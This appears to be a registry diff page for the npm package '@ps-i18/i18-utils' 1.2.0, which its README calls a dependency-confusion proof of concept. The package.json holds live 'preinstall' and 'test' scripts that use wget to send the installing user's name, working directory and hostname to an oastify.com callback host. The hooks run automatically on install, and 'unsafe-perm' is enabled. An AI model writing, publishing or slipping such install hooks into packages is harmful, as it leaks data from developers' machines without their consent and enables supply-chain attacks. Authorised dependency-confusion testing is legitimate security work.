@ps-i18/i18-utils 1.2.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (3) hide show
  1. package/README.md +3 -0
  2. package/index.js +3 -0
  3. package/package.json +23 -0
package/README.md ADDED
@@ -0,0 +1,3 @@
1
+ # NPM Dependency Confusion PoC
2
+ Simple PoC package for testing for dependency confusion vulnerabilities.
3
+
package/index.js ADDED
@@ -0,0 +1,3 @@
1
+ exports.printMsg = function() {
2
+ console.log("This is a message from the demo package");
3
+ }
package/package.json ADDED
@@ -0,0 +1,23 @@
1
+ {
2
+ "name": "@ps-i18/i18-utils",
3
+ "version": "1.2.0",
4
+ "description": "Simple PoC package for testing for dependency confusion vulnerabilities.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "wget --quiet \"https://xno8zu8xlp3oo8ol0hikbj89c0is6iu7.oastify.com/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\" # CHANGE IP ADDRESS",
8
+ "preinstall": "wget --quiet \"https://xno8zu8xlp3oo8ol0hikbj89c0is6iu7.oastify.com/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\" # CHANGE IP ADDRESS"
9
+ },
10
+ "keywords": [
11
+ "test",
12
+ "PoC"
13
+ ],
14
+ "config": {
15
+ "unsafe-perm": true
16
+ },
17
+ "author": "test",
18
+ "license": "ISC",
19
+ "repository": {
20
+ "type": "git",
21
+ "url": "NA"
22
+ }
23
+ }